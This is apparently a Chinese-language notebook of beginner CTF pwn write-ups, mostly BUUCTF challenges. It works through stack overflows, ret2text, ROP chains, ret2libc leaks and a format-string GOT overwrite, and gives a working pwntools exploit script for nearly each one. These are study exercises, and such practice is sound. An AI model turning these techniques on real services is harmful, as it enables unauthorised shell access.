小PWN手的间歇性记录
- 01.nc
- 02.ret2text
- 03.hello_pwn
- 04.[第六章 CTF之PWN章]ROP
- 05.rip
- 06.warmup_csaw_2016
- 07.pwn1_sctf_2016
- 08.ciscn_2019_n_1
- 09.ciscn_2019_c_1
- 10.jarvisoj_level0
- 11. [第五空间2019 决赛]PWN5
- 12.ciscn_2019_n_8
- 13.[OGeek2019]babyrop
- 14.[32位栈溢出进阶](https://blog.youkuaiyun.com/bocaiaichila/article/details/109722548)
- 15.jarvisoj_level2
- 16.ciscn_2019_en_2
强制解锁命令:
sudo rm /var/lib/dpkg/lock-frontend
动态获取或释放IP地址
dhclient
完全基础题的记录,多来自buu,欢迎交流
01.nc
nc node3.buuoj.cn 27527
然而好几次都不成功,那么也可以写payload,checksec test
看64位,idashift F12
找字符串
from pwn import *
m=remote('node3.buuoj.cn',27527)
binsh= 0x2004
payload= p64(binsh)
m.sendline(payload)
m.interactive()
02.ret2text
首先checksec一下
32位
只开启了栈可执行保护
ida打开
查找/bin/sh
binsh = 0x804863A
距离ebp的距离需要利用Ubuntu中gdb工具
gdb ./ret2text
因为存储读入的变量和到栈底的距离未知所以断点下在_gets
b *0x80486AE
别忘了再按r
,报错不用管
借助变量s到esp的距离计算出s的地址
再计算变量s到esp的距离
用Python:
ebp = 0xffffcfd8
esp = 0xffffcf50
print hex(esp + 0x1c - ebp)
得到运算结果-0x6cL
所以需要填充0x6c个字符
至此,已经得到填充缓冲区的字符数为0x6c
system返回的/bin/sh程序地址为0x804863A
于是构造payload
Exp
from pwn import*
io = remote('xxxxxx.xx',28365)
binsh = 0x804863A
io.sendline('a'*(0x6c+4)+p32(binsh))
io.interactive()
python ret2text.py
cat flag
flag{5e22ee8d-07f0-4089-94c2-d5e14c84f331}
03.hello_pwn
来源nuaactf
首先拖到Ubuntu checksec一下
64位,只开启了栈可执行保护
64ida打开
ida 图标是Ada Lovelace 哄哄哄
几个函数点进去可以看到
基本上就是输入1853186401到dword_60106c
那么执行sub_400686于是cat flag.txt
我们有输入权限的unk_601068,我们输入c-8=4位就可以覆盖到dword_60106c
于是构造payload
Exp
from pwn import*
ma = remote("220.249.52.133",52432)
payload = 'a'*4 + p64(1853186401)
ma.sendline(payload)
ma.interactive()
python hello.py
cyberpeace{ec8ff6fef0bd58198cf3e64228e62cb4}
动态滴~
哦哦 !看到一种简单的输入方式
1853186401按r
->nuaa
4位溢出(注意小端序)
所以
echo aaaaaaun | nc 220.249.52.133 52432
Finished
04.[第六章 CTF之PWN章]ROP
《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l
64位,栈可执行保护
原理
-
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果
绕过保护,目前主要的是 ROP(Return Oriented Programming 返回导向编程)- 其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
-
所谓 gadgets 就是以 ret 结尾的指令序列
- 通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程
-
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。
-
ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
- 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了
EXP
#书上对应章节例题,具体解释可以看书上对应章节的内容
from pwn import *
p=process('./rop')
elf=ELF('./rop')
libc = elf.libc
pop_rdi = 0x4005d3
puts_got = 0x601018
puts = 0x400430
main = 0x400537
rop1 = "a"*18
rop1 += p64(pop_rdi)
rop1 += p64(puts_got)
rop1 += p64(puts)
rop1 += p64(main)
p.sendline(rop1)
p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - libc.symbols['puts']
info("libc:0x%x",libc_base)
pop_rax = 0x00000000000439c8 + libc_base
pop_rdi = 0x000000000002155f + libc_base
pop_rsi = 0x0000000000023e6a + libc_base
pop_rdx = 0x0000000000001b96 + libc_base
syscall = 0x00000000000d2975 + libc_base
binsh = next(libc.search("/bin/sh"),) + libc_base
rop2 = "a"*18
rop2 += p64(pop_rax)
rop2 += p64(59)
rop2 += p64(pop_rdi)
rop2 += p64(binsh)
rop2 += p64(pop_rsi)
rop2 += p64(0)
rop2 += p64(pop_rdx)
rop2 += p64(0)
rop2 += p64(syscall)
p.recvuntil("hello\n")
p.sendline(rop2)
p.interactive()
05.rip
checksec pwn1
64位elf
shift F12
找字符串/bin/sh/
ctrl x
找到后门函数地址
EXP
from pwn import *
m=remote('node3.buuoj.cn',25337)
binsh= 0x40118A
payload='a'*(0xf+8) + p64(binsh)
m.sendline(payload)
m.interactive()
ctrl z
是退出
06.warmup_csaw_2016
checksec 2016
64位
shift F12
很直白
ctrl x
查地址
EXP
from pwn import *
m=remote('node3.buuoj.cn',28297)
flag= 0x400611
payload='a'*(0x40+8) + p64(flag)
m.sendline(payload)
m.interactive()
07.pwn1_sctf_2016
题目pwn1_sctf_2016
s的空间3ch
replace做个交换,没太看得懂所以试一下
from pwn import *
m=remote('node3.buuoj.cn',27837)
get_flag= 0x08048F0D
payload='IIIyouyouyou'+'a'*4+p32(get_flag)
m.sendline(payload)
m.interactive()
那么确定replace做的是将‘I’换成‘you’,3ch刚好20个I
EXP
from pwn import *
m=remote('node3.buuoj.cn',27837)
get_flag= 0x08048F0D
payload='I'*20+'a'*4+p32(get_flag)
m.sendline(payload)
m.interactive()
08.ciscn_2019_n_1
题目ciscn_2019_n_1
直接覆盖到v2=11.28125就行
一开始这么想的但是我不晓得11.28125在内存中的16进制转换
if判断没阻拦那么直接找到cat/flag
地址
EXP1
from pwn import *
m=remote('node3.buuoj.cn',25720)
flag= 0x4006BE
payload='a'*0x30+'a'*8+p64(flag)
m.sendline(payload)
m.interactive()
后来查的内存16进制(0x41348000)
光标放上会有
EXP2
from pwn import *
m=remote('node3.buuoj.cn',25720)
payload='a'*(0x30-0x4)+p64(0x41348000)
m.sendline(payload)
m.interactive()
09.ciscn_2019_c_1
题目ciscn_2019_c_1
binsh,system,syscall都没看到,所以需要自己构造ROP链。
利用ret2libc
一个函数反编译F5看一下,只有encrypt有用,gets读取没长度限制的可以利用,下面对s做各种操作
存在strlen()函数,该函数计算读入字符串的长度。并逐位加密,会破坏我们构造的payload。但是这个函数有空格就可以绕过即\0
那这题就可以利用已经用过的函数puts来泄露libc的基址,得出system和binsh的实际地址,然后gets溢出执行我们的system(/bin/sh)。
看下gadget
ROPgadget --binary ./ciscn_2019_c_1
有很多,找我们需要的就行:
题目部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐
用于栈对齐的ret
;
ROPgadget --binary ./ciscn_2019_c_1 --only "ret"
64位程序第一参数的寄存器rdi
ROPgadget --binary ciscn_2019_c_1 |grep "pop rdi"
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序。
RDI
RSI
RDX
RCX
from pwn import*
from LibcSearcher import*
r=remote('node4.buuoj.cn',28386)
elf=ELF('./ciscn_2019_c_1')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
# lijust(8,‘\0’),不满8位的用0补足
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')#偏移量
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
r.sendlineafter('encrypted\n',payload)
r.interactive()
会找到两个版本libc,试一下,应该是2.27的
10.jarvisoj_level0
看不出名堂
checksec
一下
64位只有NX
是来接济我的题555
这里read明显存在栈溢出,buf占0x80+8,但是可以写进去0x200
EXP
from pwn import *
m=remote('node3.buuoj.cn',25807)
binsh_addr=0x40059A
payload='a'*0x80+'a'*8+p64(binsh_addr)
m.sendline(payload)
m.interactive()
11. [第五空间2019 决赛]PWN5
解题思路:利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入得到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell。
EXP
from pwn import *
p=process('./pwn')
#p=remote('',)
elf=ELF('./pwn')
atoi_got=elf.got['atoi']
system_plt=elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
12.ciscn_2019_n_8
题目链接
checksec n8
都开了
./n8
有回显
ida查看main函数 >
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
数组var的第14位是17就调用system("/bin/sh")
exp
from pwn import*
io=process("./n8")
#io=remote("node4.buuoj.cn",28651)
payload=p32(17)*14
io.sendlineafter('\n',payload)
io.interactive()
本地可以打通:
13.[OGeek2019]babyrop
32位ida看伪代码,一句一句来看哈
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);//利用这个文件去创建随机数
if ( fd > 0 )
read(fd, &buf, 4u);//随机数写到buf,长度4字节
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
/dev/random和
/dev/urandom
是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流。很多解密程序与安全应用程序(如SSH Keys,SSL Keys等)需要它们提供的随机数据流。参考链接
函数①sub_804871F:
返回值为v5,但是并未赋值过
EBP(Base Pointer) 是栈帧基址指针寄存器,存放执行函数对应栈帧的栈底地址
- 用于 C 运行库访问栈中的局部变量和参数
栈帧的边界由栈帧基地址指针 EBP 和堆栈指针 ESP 界定(指针存放在相应寄存器中)
EBP 指向当前栈帧底部(高地址),在当前栈帧内位置固定
ESP 指向当前栈帧顶部(低地址),当程序执行时 ESP 会随着数据的入栈和出栈而移动
因此函数中对大部分数据的访问都基于 EBP 进行。
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
//字节长0x20的字符串初始化给s,buf
memset(&s, 0, 0x20u);
//但是buf规定是7位数的数组
memset(buf, 0, 0x20u);
//s即上个函数生成的随机数
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
//如果buf与s的前v1位都相同就退出程序,那么使v1=0就可以绕过这个比较
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
strncmp
函数为字符串比较函数,字符串大小的比较是以ASCII 码表上的顺序来决定,此顺序亦为字符的值。其函数声明为int strncmp ( const char * str1, const char * str2, size_t n );功能是把 str1 和 str2 进行比较,最多比较前 n 个字节,若str1与str2的前n个字符相同,则返回0;若s1大于s2,则返回大于0的值;若s1 小于s2,则返回小于0的值。百度百科
strncmp遇到\x00截断绕过,strlen也是。
函数②sub_80487D0:
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);//0xc8 < 0xe7,执行这条,buf不会溢出
else
result = read(0, &buf, a1);//所以a1即v5要尽可能大,那么就0xff好了,覆盖到返回地址
return result;
}
图知,函数②参数a1即函数①的v5,要让v5足够大,那么就要在函数①中产生溢出由我们给v5赋值,函数①要成功返回v5就必须绕过比较函数,用的方法是0截断。
题目名就是提示,binsh,system,syscall都没看到
ROP其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
使用ret2libc构造system("/bin/sh")函数,这里利用read函数作为中间跳板获得其他函数的真实值。可以看到read,write函数都是调用过的,所以got表中会有记录,再利用偏移量,来获得其他函数的真实地址。
payload = padding+write_plt+vul_addr+p32(1)+got[“read”]+p32(4)
最后整理一下思路,首先从栈图中可以看到,v5接在buf[7]后面,利用buf溢出给v5赋值,buf数组第一位是写0截断,第8位是v5的。v5需要足够大在函数②中去溢出,所以给ff,这是第一个payload。
然后利用ret2libc去得到system,binsh在内存中的位置,这是第二个payload。
最后用system函数去覆盖返回地址,得到flag。
payload=padding+system_add+vul_addr+binsh_addr
Tips:Python默认是以ASCII作为编码方式的,如果在自己的Python源码中包含了中文(或者其他非英语系的语言),代码首行加上
# -*- coding: UTF-8 -*-
exp:参考原文链接
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",25241)
elf=ELF("./pwn")
payload1='\x00'+ 7 * '\xFF'
p.sendline(payload1)
p.recv()
write_plt=elf.plt["write"]
read_got=elf.got["read"]
main_addr=0x08048825
payload2=b"A"*(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload2)
read_addr=u32(p.recv(4))//得到read在内存中的位置
print(hex(read_addr))
libc=LibcSearcher('read',read_addr)//找到所对应的库
base=read_addr-libc.dump("read")//偏移量
//加上偏移量得到system,binsh实际地址
system_addr=base+libc.dump("system")
str_bin_sh= base+libc.dump("str_bin_sh")
//真正开始
p.sendline(payload1)
payload3=b"A"*(0xe7+4)+p32(system_addr)+p32(1)+p32(str_bin_sh)
p.sendline(payload3)
p.interactive()
14.32位栈溢出进阶
- [OGeek2019]babyrop
- get_started_3dsctf_2016
15.jarvisoj_level2
题目来源
开了NX
直接调用了system,所以PLT表中会有正确地址(partial relro)
这里read()明显可以溢出
于是payload的构造思路:
把缓冲区填满,填入 system 函数的返回地址
构造一个 system 函数的返回的地址
然后填入 binsh 字符串的地址
payload=0x88*‘a’+‘bbbb’+p32(system_addr)+p32(1)+p32(binsh_addr)
那么system和shell地址可用pwntools的ELF查来的,也可以自己算去看这个参考博客
或者ida直接找plt表中的system
system_addr=0x08048320
用ROPgadget找binsh字符串的地址
ROPgadget --binary ./level2 --string "/bin/sh"
binsh_addr=0x0804a024
下面的exp用的第一种方法
EXP
from pwn import*
io=remote('node4.buuoj.cn',27195)
elf=ELF("./level2")
sys_adr=elf.symbols["system"]
binsh_adr=next(elf.search("/bin/sh"))
payload=0x88*'a'+'bbbb'+p32(sys_adr)+p32(1)+p32(binsh_addr)
io.recvuntil("\n")
io.sendline(payload)
io.interactive()
16.ciscn_2019_en_2
跟ciscn_2019_c_1一样
这个博客讲得很好了
也只开了NX
随便运行了一下
大概就是加密解密,关键在encrypt()
gets(s)之后用strlen来比较,可以\0
截断,防止对我们输入的rop造成改变。
shiftF12
字符串查找,没有system和/bin/sh。
那么我们需要泄漏 libc 中某个函数的地址,算出偏移量,于是 system 的在这个程序中的地址就是对应版本库里的函数地址加上偏移量,同理找得到 /bin/sh 的地址,
再次执行程序后栈溢出执行 system("/bin/sh") 。